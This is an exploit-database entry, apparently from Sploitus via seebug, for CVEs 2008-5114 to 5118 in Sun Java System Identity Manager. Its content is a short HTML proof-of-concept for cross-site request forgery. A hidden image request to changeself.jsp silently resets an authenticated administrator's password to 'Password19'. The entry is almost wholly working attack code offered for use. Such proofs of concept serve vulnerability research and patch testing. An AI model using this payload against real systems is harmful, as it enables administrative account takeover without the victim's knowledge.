Sploitus

Exploit for Sun Java System Identity Manager目录遍历及跨站请求伪造漏洞

CVE-2008-5114CVE-2008-5115CVE-2008-5116CVE-2008-5117CVE-2008-5118

seebug · 2008-11-21

Exploit Code

MARKDOWN10 lines
## https://sploitus.com/exploit?id=SSV:4478
<html>
<h1>CSRF attack demo - changes administrative password to 'Password19'</h1>
<script>
    var img = new Image();
    img.src =
'https://target.tld/idm/admin/changeself.jsp?id=&command=Save&activeControl=&resourceAccounts.password=Password19&resourceAccounts.confirmPassword=Password19&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true';

</script>
</html>